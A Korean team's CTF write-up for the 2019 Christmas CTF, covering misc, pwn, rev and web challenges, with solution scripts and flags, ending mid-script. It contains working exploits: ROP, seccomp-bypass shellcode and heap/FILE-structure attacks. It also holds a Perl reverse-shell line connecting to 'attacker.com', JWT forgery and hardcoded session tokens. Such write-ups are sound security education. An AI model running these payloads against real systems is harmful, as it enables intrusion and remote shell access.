Uiseong Park zairo

Write-up

2019 Christmas CTF

2019 Christmas CTF Write-up
Team. 원요한여친구함 (zairo, gpsfly, KuroNeko, badspell, krrr, wwwlk, onestar, kkamikoon)


[메리크리스마스] 🎁 Mic check (메리크리스마스 / 50pts / 220 solved)


설명

XMAS{https://www.youtube.com/watch?v=yXQViqx6GMY}

풀이

Flag: XMAS{https://www.youtube.com/watch?v=yXQViqx6GMY}


[MISC] 🎁 Santa Game (misc / 50pts / 125 solved)


설명

Let's play Santa Game!

nc 115.68.235.72 31337

Download

풀이

def gift():
    ip = scan('Address : ')
    port = int(scan('Port : '))

    if ip!='localhost' and ip!='0.0.0.0' and ip!='127.0.0.1':
        sys.exit(0)

    cmd = 'echo "%s" | nc %s %d' % (FLAG, ip, port)
    os.system(cmd)

    send('Stranger must be happy!')
    return

주어진 소스코드를 살펴보면, ip가 localhost, 0.0.0.0, 127.0.0.1 이어야 system 함수까지 진행이 가능하다.

if __name__=='__main__':
    try:
        banner()
        while True:
            res = choice()
            if res=='1':
                gift()
            elif res=='2':
                sys.exit(0)
            else:
                send('Invalid Option : ' + res)
    except:
        bye()

또한, 입력시 1과 2 이외의 값이 입력될 경우 Invalid Option으로 입력한 결과를 출력해준다. 이를 이용하여 localhost의 해당 서비스가 구동되는 포트를 입력하면 flag를 출력할 수 있다.

Untitled.png

Flag: XMAS{y0u_s3Nt_7hE_GiFt_t0_y0urSe1F..XD}


[MISC] 🎁 Solo (misc / 50pts / 104 solved)


설명

QR?

Download

풀이

GOOD.png

zip 파일을 확인해보면 QR 코드로 예상되는 이미지가 6조각으로 나뉘어져 있다. 해당 이미지를 PPT, 그림판 등으로 다시 나누고 조립하여 아래와 같은 하나의 이미지를 만들었다.

Untitled%201.png

해당 이미지를 QR코드 리더기를 통해 읽으면 아래와 같이 플래그를 확인할 수 있다.

Flag: XMAS{W3lc0me_t0_S0lO____WORLD}


[MISC] 🎁 MIRO (misc / 50pts / 155 solved)


설명

I made a maze. can you pass it?

Go(http://115.68.235.72:9999/)

풀이

Untitled%202.png

간단한 마우스 게임이다.

이런 게임 특성상, 제대로 입력되었는지 체크하지 않으므로 다음과 같이 하면 된다.

  1. 초록색칸으로 마우스를 가져다대고 우클릭
  2. 파란색칸으로 마우스를 이동후 좌클릭
  3. 1~2를 반복

Flag: XMAS{M1r0-g4me-1s-s0-funny-g4me-1sn7?@?}


[MISC] 🎁 Strange Elephpant (misc / 655pts / 62 solved)


설명

Something wrong happened to my cute elephpant.. :(
Go!(http://115.68.235.72:12372/)

풀이

이미지 요청시 이미지 길이가 78656이면 '보', 76952이면 '바위', 78430이면 '가위'이므로 index 페이지에서 주어진 미션에 따라 적절한 값을 전송하면 된다.

from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import hashlib

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def index(s):
    # variable initialization
    url = ""
    headers = {}
    params = {}
    data = {}

    # URL setting
    scheme = 'http'
    url = '{}://115.68.235.72:12372/index.php'.format(scheme)

    # headers setting
    headers = OrderedDict()
    headers['Connection'] = 'keep-alive'
    headers['Cache-Control'] = 'max-age=0'
    headers['Upgrade-Insecure-Requests'] = '1'
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
    headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    headers['Referer'] = 'http://115.68.235.72:12372/index.php'
    headers['Accept-Encoding'] = 'gzip, deflate'
    headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    headers['Cookie'] = 'token_b=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjIsImlzQWRtaW4iOnRydWUsImlhdCI6MTU3NzIzNTkxNCwiZXhwIjoxNTc3MzIyMzE0LCJpc3MiOiJjMncybTIifQ.uIsvpkIBS8MP3IwuZYJJ6dKr7l6a5OdrE6k7qbfB7sA; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjI5LCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTc3MjQxNjY5LCJleHAiOjE1NzcyNDUyNjksImlzcyI6ImMydzJtMiJ9.hMnzQmeRDfkSNIV46-ztDwgB01JzMCaS0vHp9yVO3_Zbp2ez6depdmWBGqNGpJcfaRC7qukz5b4G9i83zNI8HfT8Zifr5c1Boh-WP5ktKDBgdFq0drlb5ZVCVbqECfMlFURLwoCzqWG1ZA5UWtmQPygqENm074KOV0LM5qyqkxs; PHPSESSID=f772beb94f4476aed07cc6158dba77b2'

    # params setting
    params = OrderedDict()

    # data setting
    data = OrderedDict()

    # send packet
    r = s.get(url, headers=headers, params=params, data=data, verify=False)
    return r.text

def image(s):
    # variable initialization
    url = ""
    headers = {}
    params = {}
    data = {}

    # URL setting
    scheme = 'http'
    url = '{}://115.68.235.72:12372/image.php'.format(scheme)

    # headers setting
    headers = OrderedDict()
    headers['Connection'] = 'keep-alive'
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
    headers['Accept'] = 'image/webp,image/apng,image/*,*/*;q=0.8'
    headers['Referer'] = 'http://115.68.235.72:12372/index.php'
    headers['Accept-Encoding'] = 'gzip, deflate'
    headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    headers['Cookie'] = 'token_b=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjIsImlzQWRtaW4iOnRydWUsImlhdCI6MTU3NzIzNTkxNCwiZXhwIjoxNTc3MzIyMzE0LCJpc3MiOiJjMncybTIifQ.uIsvpkIBS8MP3IwuZYJJ6dKr7l6a5OdrE6k7qbfB7sA; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjI5LCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTc3MjQxNjY5LCJleHAiOjE1NzcyNDUyNjksImlzcyI6ImMydzJtMiJ9.hMnzQmeRDfkSNIV46-ztDwgB01JzMCaS0vHp9yVO3_Zbp2ez6depdmWBGqNGpJcfaRC7qukz5b4G9i83zNI8HfT8Zifr5c1Boh-WP5ktKDBgdFq0drlb5ZVCVbqECfMlFURLwoCzqWG1ZA5UWtmQPygqENm074KOV0LM5qyqkxs; PHPSESSID=f772beb94f4476aed07cc6158dba77b2'

    # params setting
    params = OrderedDict()

    # data setting
    data = OrderedDict()

    # send packet
    r = s.get(url, headers=headers, params=params, data=data, verify=False, stream=True)
    return r.content

def guess_send(s, payload):
    # variable initialization
    url = ""
    headers = {}
    params = {}
    data = {}

    # URL setting
    scheme = 'http'
    url = '{}://115.68.235.72:12372/index.php'.format(scheme)

    # headers setting
    headers = OrderedDict()
    headers['Connection'] = 'keep-alive'
    headers['Cache-Control'] = 'max-age=0'
    headers['Origin'] = 'http://115.68.235.72:12372'
    headers['Upgrade-Insecure-Requests'] = '1'
    headers['Content-Type'] = 'application/x-www-form-urlencoded'
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
    headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    headers['Referer'] = 'http://115.68.235.72:12372/index.php'
    headers['Accept-Encoding'] = 'gzip, deflate'
    headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    headers['Cookie'] = 'token_b=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjIsImlzQWRtaW4iOnRydWUsImlhdCI6MTU3NzIzNTkxNCwiZXhwIjoxNTc3MzIyMzE0LCJpc3MiOiJjMncybTIifQ.uIsvpkIBS8MP3IwuZYJJ6dKr7l6a5OdrE6k7qbfB7sA; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjI5LCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTc3MjQxNjY5LCJleHAiOjE1NzcyNDUyNjksImlzcyI6ImMydzJtMiJ9.hMnzQmeRDfkSNIV46-ztDwgB01JzMCaS0vHp9yVO3_Zbp2ez6depdmWBGqNGpJcfaRC7qukz5b4G9i83zNI8HfT8Zifr5c1Boh-WP5ktKDBgdFq0drlb5ZVCVbqECfMlFURLwoCzqWG1ZA5UWtmQPygqENm074KOV0LM5qyqkxs; PHPSESSID=f772beb94f4476aed07cc6158dba77b2'

    # params setting
    params = OrderedDict()

    # data setting
    data = OrderedDict()
    data['answer'] = payload

    # send packet
    r = s.post(url, headers=headers, params=params, data=data, verify=False, allow_redirects=False)
    return r.text


if __name__ == "__main__":
    # requests initialization
    s = requests.Session()
    retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504])
    s.mount('http://', HTTPAdapter(max_retries=retries))

    # let's exploit!
    database = {
        78656: '보',
        76952: '바위',
        78430: '가위',
    }

    win = {
        '보': '가위',
        '바위': '보',
        '가위': '바위',
    }
    lose = {
        '보': '바위',
        '바위': '가위',
        '가위': '보',
    }

    for i in range(100):
        res = index(s)
        print(res[res.find('</h2><h2>')+len('</h2><h2>'):res.find('</h2><br>')])
        guess = database[len(image(s))]
        if "이겨주세요" in res:
            answer = win[guess]
        elif "비겨주세요" in res:
            answer = guess
        elif "져 주세요" in res:
            answer = lose[guess]

        guess_send(s, answer)

Untitled%203.png

Flag: XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}


[MISC] 🎁 Thank you (misc / 50pts / 111 solved)


설명

"각" 스폰서 페이지

풀이

Untitled%204.png

스폰서 링크를 클릭하면, 스폰서에 대한 소개페이지가 출력되고 HTML 소스보기를 통해 주석 처리된 flag를 확인할 수 있다.

Untitled%205.png

Untitled%206.png

Untitled%207.png

Untitled%208.png

Untitled%209.png

Untitled%2010.png

Flag: XMAS{Thank_you_users_and_sponsors}


[PWN] 🎁 Solo Test (pwn / 834pts / 43 solved)


설명

Let's see if you are really solo :D
Never lie!
nc 115.68.235.72 1337
Download

풀이

간단한 비교문을 거치면 입력할 수 있는 함수로 가게 되는데 여기서 스택에서 오버플로우가 발생한다.

Untitled%2011.png

이를 이용해 puts로 libc함수를 릭해서 libcdb에서 libc버전을 알아낸다.

puts;ret 이 있는 가젯을 찾은 뒤 이를 이용해 릭하고 다시 위 코드까지 온 뒤 ROP로 트리거 한다.

#!/usr/bin/env python
from pwn import *

DEBUG = False
context.terminal = ['tmux', 'split', '-h']
gdbscript = '''
b *0x0000000000400A31
c
'''
if DEBUG:
    p = process("solo_test")
    e = ELF("solo_test")
    gdb.attach(p, gdbscript)
else:
    p = remote("115.68.235.72", 1337)

p.sendlineafter(">>", "Me")
p.sendlineafter(">>", "No")
p.sendlineafter(">>", "CTF")
p.sendlineafter(">>", "Never")
p.sendlineafter(">>", "No")

solo = 0x0000000000400B05
poprdi = 0x400b83
callputs = 0x0000000000400A63
putsgot = 0x0000000000602020 

system = 0x052fd0
strbinsh = 0x1afb84
if DEBUG:
    system = e.libc.symbols['system']
    strbinsh = list(e.libc.search("/bin/sh"))[0]


payload = "A" * 0x50 + "BBBBBBBB"
payload += p64(poprdi) + p64(putsgot)
payload += p64(callputs) + "BBBBBBBB"
payload += p64(solo)

p.sendlineafter("--> ", payload)
leak = u64(p.recv(6).ljust(8, '\x00'))

log.info("leak: 0x%x" % leak)
if DEBUG:
    libc = leak - e.libc.symbols['puts']
else:
    libc = leak - 0x083cc0
log.info("libc: 0x%x" % libc)
one_offset = 0x106ef8 

'''
0x0000000000026bd4 : syscall
0x0000000000047cf8 : pop rax ; ret
0x000000000012c2e7 : call rax
0x0000000000026542 : pop rdi ; ret
0x0000000000026f9e : pop rsi ; ret
0x00000000000431d9 : push rsp ; ret
'''
poprax = 0x47cf8
callrax = 0x12c2e7

payload = "A" * 0x50 + "BBBBBBBB"
payload += p64(poprdi) + p64(libc + strbinsh)
payload += p64(libc + system)

payload = "A" * 0x50 + "BBBBBBBB"
payload += p64(libc+poprax) + p64(libc + one_offset)
payload += p64(libc+callrax)

p.sendlineafter("--> ", payload)

p.interactive()

Untitled%2012.png

Flag: XMAS{y0u_kn0w...S010_f0rever!}


[PWN] 🎁 babyseccomp (pwn / 961pts / 21 solved)


설명

Mama, what is seccomp?

nc 115.68.235.72 23457

Download

풀이

Untitled%2013.png

Untitled%2014.png

위와 같이 shellcode를 입력받아 실행하기 전, flag를 open하고 seccomp함수를 통해 허용된 시스템 콜만 실행가능하도록 되어있다. seccomp-tools를 사용해서 dump해보면 아래와 같다.

line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x25 0x17 0x00 0x40000000  if (A > 0x40000000) goto 0027
0004: 0x15 0x16 0x00 0x0000003b  if (A == execve) goto 0027
0005: 0x15 0x15 0x00 0x00000142  if (A == execveat) goto 0027
0006: 0x15 0x14 0x00 0x00000002  if (A == open) goto 0027
0007: 0x15 0x13 0x00 0x00000101  if (A == openat) goto 0027
0008: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0027
0009: 0x15 0x11 0x00 0x00000011  if (A == pread64) goto 0027
0010: 0x15 0x10 0x00 0x00000013  if (A == readv) goto 0027
0011: 0x15 0x0f 0x00 0x00000127  if (A == preadv) goto 0027
0012: 0x15 0x0e 0x00 0x00000147  if (A == preadv2) goto 0027
0013: 0x15 0x0d 0x00 0x00000001  if (A == write) goto 0027
0014: 0x15 0x0c 0x00 0x00000012  if (A == pwrite64) goto 0027
0015: 0x15 0x0b 0x00 0x00000014  if (A == writev) goto 0027
0016: 0x15 0x0a 0x00 0x00000128  if (A == pwritev) goto 0027
0017: 0x15 0x09 0x00 0x00000148  if (A == pwritev2) goto 0027
0018: 0x15 0x08 0x00 0x00000028  if (A == sendfile) goto 0027
0019: 0x15 0x07 0x00 0x00000038  if (A == clone) goto 0027
0020: 0x15 0x06 0x00 0x00000039  if (A == fork) goto 0027
0021: 0x15 0x05 0x00 0x00000065  if (A == ptrace) goto 0027
0022: 0x15 0x04 0x00 0x00000029  if (A == socket) goto 0027
0023: 0x15 0x03 0x00 0x0000002b  if (A == accept) goto 0027
0024: 0x15 0x02 0x00 0x00000031  if (A == bind) goto 0027
0025: 0x15 0x01 0x00 0x00000032  if (A == listen) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0027: 0x06 0x00 0x00 0x00000000  return KILL

수 많은 syscall을 막아두었지만, mmap을 통해 flag파일의 fd를 mapping시켜준 뒤, blind로 릭해주면 된다.

from pwn import *

context.log_level = 'error'

def rem(nc):
    host, port = nc.strip().split( )
    return remote(host, int(port))

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
script = """
c
"""

flag = "XMAS{iT_W4s_MM4P_m4giC...n0w_m337_adu1t"
for i in range(len(flag), 40):
    for k in range(32, 127):
        print i, k
        #con = process('babyseccomp')
        con = rem("115.68.235.72 23457")
        #con = rem("127.0.0.1 1122")
        binary = ELF('babyseccomp', checksec=False)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

        s = con.send
        sa = con.sendafter
        sl = con.sendline
        sla = con.sendlineafter
        r = con.recv
        ru = con.recvuntil
        rl = con.recvline
        io = con.interactive
        dbg = gdb.attach

        sc = "" 
        sc += shellcraft.linux.syscall("SYS_mmap", 0, 0x1000, "PROT_READ", "MAP_SHARED", 3, 0)
        sc += """
        /* rsi = mmaped address */
        mov rsi, rax
        cmp BYTE PTR[rsi+{}], {}
        je CRASH

        mov rax, SYS_exit
        syscall

        CRASH:
        {}

        """.format(i, k, shellcraft.crash())
        sc = asm(sc)

        sla(": ", sc)
        try:
            print rl()[:-1]
            print rl()[:-1]
            flag += chr(k)
            print flag
            con.close()
            break
        except:
            con.close()

Flag: XMAS{iT_W4s_MM4P_m4giC...n0w_m337_adu1t}


[PWN] 🎁 Dead File (pwn / 998pts / 5 solved)


설명

My file reader is dead, and I don't know why T_T
nc 115.68.235.72 33445
Download

풀이

[binary info]

1577287105654.png

메뉴형 heap challenge이다.

1577287136764.png

line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x25 0x0b 0x00 0x40000000  if (A > 0x40000000) goto 0015
0004: 0x15 0x0a 0x00 0x0000003b  if (A == execve) goto 0015
0005: 0x15 0x09 0x00 0x00000142  if (A == execveat) goto 0015
0006: 0x15 0x08 0x00 0x00000002  if (A == open) goto 0015
0007: 0x15 0x07 0x00 0x00000101  if (A == openat) goto 0015
0008: 0x15 0x06 0x00 0x00000038  if (A == clone) goto 0015
0009: 0x15 0x05 0x00 0x00000039  if (A == fork) goto 0015
0010: 0x15 0x04 0x00 0x00000065  if (A == ptrace) goto 0015
0011: 0x15 0x03 0x00 0x00000029  if (A == socket) goto 0015
0012: 0x15 0x02 0x00 0x00000031  if (A == bind) goto 0015
0013: 0x15 0x01 0x00 0x00000032  if (A == listen) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0015: 0x06 0x00 0x00 0x00000000  return KILL

seccomp-rule 확인

[Vulnerability]

1577287245827.png

for문을 통한 index checking 과정에서 "Too Many Heaps!"만 출력하고 return을 하지 않는다.

chunk_size[i]에 값을 입력받은 후 chunk_size[i] 값을 checking.

1577287348889.png

초기화 안함 -> dangling pointer

1577287388509.png

마찬가지로 index checking 과정에서 return하지 않는다.

[Attack]

1577287472164.png

chunk_size에서 oobchecking 전에 값을 입력받기 때문에 openedstdin fd(0)을 넣을 수 있다.

이를 이용하여 read_file 함수에서 read(0, chunk_addr[i], chunk_size[i])를 실행시킬 수 있다.

1577287600643.png

먼저, uaf가 일어나기 때문에 이를 이용하여 stdout에 할당을 받아준다.

(largebin의 main_arena를 이용한 partial overwrite)

load_seccomp에서 bpf_struct를 만들기 위해 malloc(0x80)을 호출하는데, 이로 인해 힙이 꼬이므로 malloc(0x80), delete를 이용하여 방지하였다.

stdout에 할당받은 후, read_flag를 이용하여 fake_file_structure를 만들고 write(1, _IO_buf_base, _IO_buf_end-_IO_buf_base)를 실행시킨다.

이를 통해 libc_baseleak할 수 있다.

마지막으로 다시 한 번 read_flag를 이용하여 fake_file_structure를 만들고 vtable_IO_str_jumps로 변경한 뒤, vtable check를 우회하며 shell을 얻을 수 있다.

partial overwrite 때문에 1/16 확률이 필요하다. (100% reliable하지 않다.)

from pwn import *

#context.log_level= 'debug'

e = ELF('deadfile')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


"""
    line  CODE  JT   JF      K
=================================
    0000: 0x20 0x00 0x00 0x00000004  A = arch
    0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
    0002: 0x20 0x00 0x00 0x00000000  A = sys_number
    0003: 0x25 0x0b 0x00 0x40000000  if (A > 0x40000000) goto 0015
    0004: 0x15 0x0a 0x00 0x0000003b  if (A == execve) goto 0015
    0005: 0x15 0x09 0x00 0x00000142  if (A == execveat) goto 0015
    0006: 0x15 0x08 0x00 0x00000002  if (A == open) goto 0015
    0007: 0x15 0x07 0x00 0x00000101  if (A == openat) goto 0015
    0008: 0x15 0x06 0x00 0x00000038  if (A == clone) goto 0015
    0009: 0x15 0x05 0x00 0x00000039  if (A == fork) goto 0015
    0010: 0x15 0x04 0x00 0x00000065  if (A == ptrace) goto 0015
    0011: 0x15 0x03 0x00 0x00000029  if (A == socket) goto 0015
    0012: 0x15 0x02 0x00 0x00000031  if (A == bind) goto 0015
    0013: 0x15 0x01 0x00 0x00000032  if (A == listen) goto 0015
    0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
    0015: 0x06 0x00 0x00 0x00000000  return KILL
"""

def pack_file(_flags = 0,
                _IO_read_ptr = 0,
                _IO_read_end = 0,
                _IO_read_base = 0,
                _IO_write_base = 0,
                _IO_write_ptr = 0,
                _IO_write_end = 0,
                _IO_buf_base = 0,
                _IO_buf_end = 0,
                _IO_save_base = 0,
                _IO_backup_base = 0,
                _IO_save_end = 0,
                _IO_marker = 0,
                _IO_chain = 0,
                _fileno = 0,
                _lock = 0):
    struct = p32(_flags) + \
                p32(0) + \
                p64(_IO_read_ptr) + \
                p64(_IO_read_end) + \
                p64(_IO_read_base) + \
                p64(_IO_write_base) + \
                p64(_IO_write_ptr) + \
                p64(_IO_write_end) + \
                p64(_IO_buf_base) + \
                p64(_IO_buf_end) + \
                p64(_IO_save_base) + \
                p64(_IO_backup_base) + \
                p64(_IO_save_end) + \
                p64(_IO_marker) + \
                p64(_IO_chain) + \
                p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    return struct

def ex(s):
    ru = lambda x: s.recvuntil(x)
    sl = lambda x: s.sendline(x)
    p = lambda : pause()
    io = lambda : s.interactive()
    sla = lambda x,y: s.sendlineafter(x,y)
    sa = lambda x,y: s.sendafter(x,y)

    def menu(sel):
        sla('>> ', str(sel))

    def new(size):
        menu(1)

        sla(': ', str(size))

    def delete(idx):
        menu(2)

        sla(': ', str(idx))

    def register(name):
        menu(7)

        sa(': ', name)

    def open_file(name):
        menu(3)

        sa(': ', name)

    def read_file(file_idx, buf_idx, data='', types=''):
        sla(': ', str(file_idx))

        sla(': ', str(buf_idx))

        if types:
            s.send(data)

    def close_file(idx):
        menu(6)

        sla(': ', str(idx))


    new(0x400)
    new(0x18)
    # for bpf
    new(0x80)
    delete(2)

    for i in range(8):
        delete(0)

    new(0x500)
    register("\x60\x07")

    new(0x400)
    new(0x400) # 5

    new(0x18)
    new(0x18)
    new(0x0)

    read_file(2, 5, data=p64(0xfbad1800) + p64(0)*3 + '\x00', types='ex')
    s.recv(8)
    l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3ed8b0
    log.info('l_base: {}'.format(hex(l_base)))
    if not hex(l_base).startswith('0x7f'):
        raise EOFError
    one_list = [0x4f2c5, 0x4f322, 0x10a38c]
    one = l_base + one_list[0]

    rip = l_base + l.symbols['system']
    rdi = l_base + next(l.search("/bin/sh"))
    io_str = l_base + l.symbols['_IO_file_jumps'] + 0xd8
    fake = io_str - 0x38

    p()
    read_file(2, 5, data=pack_file(_IO_buf_base=0, _IO_buf_end=(rdi-100)/2, _IO_write_ptr=(rdi-100)/2, _IO_write_base=0, _lock=l_base+0x3ed8c0) + p64(fake) + p64(rip), types='ex')

    io()

if __name__ == "__main__":
    while True:
        try:
            s = connect('115.68.235.72', 33445)
            #s = process('deadfile')
            ex(s)
        except EOFError:
            s.close()
            continue
        else:
            break

1577288318077.png

Flag: XMAS{th3rE_i5_s3cre7_iN_th3_secc0mp_Rul3}


[PWN] 🎁 auto injection (pwn / 995pts / 8 solved)


설명

Do you know Auto Exploit Generator?
nc 115.68.235.72 5252

풀이

aeg 문제지만 필터링 우회 문제에 더 가깝다.

eip를 hidden 함수로 옮기면 시스템 명령어를 실행할 수 있고 문자열 bh?*cmvi는 고정으로 필터링하고 일부 문자열을 랜덤으로 필터링한다.

perl 명령어를 사용하면 일정 확률로 필터를 통과할 수 있고 Reverse Shell 스크립트를 입력 후 연결을 끊으면 쉘을 획득할 수 있다.

#!/usr/bin/env python3
from pwn import *

while True:
    r = remote("115.68.235.72", 5252)
    b = b64d(r.recvuntil("\n\n"))

    open("aeg", "wb").write(b)
    hidden = ELF("aeg").symbols[b"hidden"]
    log.info("hidden: {:x}".format(hidden))

    offset = b.find(b"\x83\xC4\x10\x83\xEC\x04\x68")
    log.info("offset: {:x}".format(offset))
    stack = u32(b[offset+7:offset+7+4])

    payload = b"A" * (stack - 4) + p32(hidden)
    r.sendafter("gogo : ", payload)
    r.sendline("perl")
    r.recvuntil("Start!!\n")
    if r.recvline().find(b"FILTER") != -1:
        r.close()
        continue
    pause()
    r.sendline('use Socket;$i="attacker.com";$p=1122;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')
    r.close()
    break

Untitled%2015.png

플래그는 /home/prob/auto_injection.py에 존재한다.

Flag: XMAS{4c7u4lly_Just_Luck_:p}


[REV] 🎁 Angry Solo (rev / 998pts / 5 solved)


설명

angr? angr? angr? angr?

nc 115.68.235.72 20000

Download

풀이

특정 조건을 맞춰주면 컴파일한 바이너리를 실행시켜주는 문제이다.

  1. PIE, Canary가 걸려있지 않는 32bit 바이너리
  2. system("cat /flag"); 를 실행하는 코드가 존재하지만 Symbolic Execution 경로를 찾을 수 없어야함
  3. unconstrained 요소가 있어야하므로 입력받은 주소로 eip를 변경해주는 코드 추가
  4. read 심볼을 검사하므로 SYS_read로 대체 (scanf를 사용하면 Qiling 실행불가)

위 조건을 만족시키는 C 코드를 ubuntu 16.04 환경의 gcc로 컴파일하여 플래그를 획득하였다.

#!/usr/bin/env python3
from pwn import *
from base64 import b64encode
import os

log.info("Compile code ...")
open("code.c", "w").write("""
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>

void flag()
{
    system("cat /flag");
}

int main()
{
    long addr;
    syscall(SYS_read, 0, &addr, 4);
    ((void(*)())addr)();
    return 0;
}
""")
os.system("gcc -o code code.c -fno-stack-protector -no-pie -z execstack -m32")

elf = ELF("./code")
flag = elf.symbols["flag"]
log.info("flag addr: {:x}".format(flag))

log.info("Connect ...")
b = open("code", "rb").read()
b = b64encode(b)

r = remote("115.68.235.72", 20000)
r.recvuntil("POW : ")
req = r.recvn(5).decode()
log.info("Requested pow: {}".format(req))

gen = "AAAA"
while True:
    gen = b64encode(os.urandom(20))
    if req == hashlib.sha384(gen).hexdigest()[:5]:
        break
log.success("found pow: {}".format(gen))
r.sendline(gen)
r.sendlineafter("size : ", str(len(b)))
r.send(b)
r.sendafter("than angr\n", p32(flag))
r.interactive()

Flag: XMAS{Do_y0u_th1nk_thIs_PrOblem_is_r3versing?}


[REV] 🎁 welcome rev (rev / 919pts / 30 solved)


설명

DOWNLOAD

풀이

crc32 역연산 문제다.

구글링을 통해 crc32 역연산 코드를 구해서 돌리면 나온다.

crc.py

datamanipulation.py

from crc import *

r = [0xB3406737, 0x94789C6E, 0x93574866, 0x0EBFE856, 0xC039F1D5]
flag = ""

for item in r:
    hash = ~item
    crc = Crc32Provider()
    crc.reset()
    flag += crc.patch(hash)

print flag

Flag: XMAS{veryy_easy_crc}


[WEB] 🎁 watermelon (web / 608pts / 66 solved)


설명

Go!(http://ch4n3.me:8080/xmas/)

풀이

Untitled%2016.png

http://ch4n3.me:8080/xmas/robots.txt를 살펴보면 .git 디렉토리 접근을 Disallow 한 것을 확인할 수 있다. 따라서 해당 디렉토리 하위의 파일을 전부 다운로드 하기 위해 wget -r --no-parent http://ch4n3.me:8080/xmas/.git/ 명령을 입력하여 하위 파일을 다운로드 하였다.

# git log -p -2
commit 5b300fc65ccecb2871379006a7711dfdd215f2d1
Author: ch4n3 <ch4n3.yoon@gmail.com>
Date:   Wed Dec 25 02:18:56 2019 +0900

    add flag.php

diff --git a/flag.php b/flag.php
new file mode 100644
index 0000000..762f61a
--- /dev/null
+++ b/flag.php
@@ -0,0 +1,16 @@
+<?php
+
+require_once __DIR__ . '/api/userAPI.php';
+require_once __DIR__ . '/api/musicAPI.php';
+require_once __DIR__ . '/api/voteAPI.php';
+
+$flag = "XMAS{******}";
+
+if ($login) {
+    $music = getMusicChartByUser_no((int)$user['user_no'], 0, 100);
+    for ($i = 0; $i < count($music); $i++) {
+        if ($music[$i]['vote'] > 1225) {
+            die($flag);
+        }
+    }
+}

이후 git log -p -2명령을 이용하여 git 수정 로그를 확인할 수 있고, vote 수가 1225 이상일 경우, flag를 출력해 주는 것을 확인하였다.

+    function dehashing($token)
+    {
+        $parted = explode('.', base64_decode($token));
+        $signature = $parted[2];
+
+        if(hash($this->alg, $parted[0].$parted[1]) != $signature)
+            die("<script>alert('INVALID JWT!!');</script>");
+
+        $payload = json_decode($parted[1],true);
+        return $payload;
+    }

또한, dehashing 루틴을 분석하여 token을 조작하여 vote를 여러번 수행하도록 python 코드를 작성하였다.

from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import hashlib
import base64

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def get_token(no):
    hash_temp = '{{"alg":"sha256","typ":"JWT"}}{{"user_no":{},"id":"admin","nickname":"admin","iat":1577221342}}'.format(no)
    cookie = '{"alg":"sha256","typ":"JWT"}.' + '{{"user_no":{},"id":"admin","nickname":"admin","iat":1577221342}}'.format(no) + "." + hashlib.sha256(hash_temp.encode()).hexdigest()
    return(base64.b64encode(cookie.encode()).decode())

def send_payload(s, no):
    # variable initialization
    url = ""
    headers = {}
    params = {}
    data = {}

    # URL setting
    scheme = 'http'
    url = '{}://ch4n3.me:8080/xmas/vote.php'.format(scheme)

    # headers setting
    headers = OrderedDict()
    headers['Connection'] = 'keep-alive'
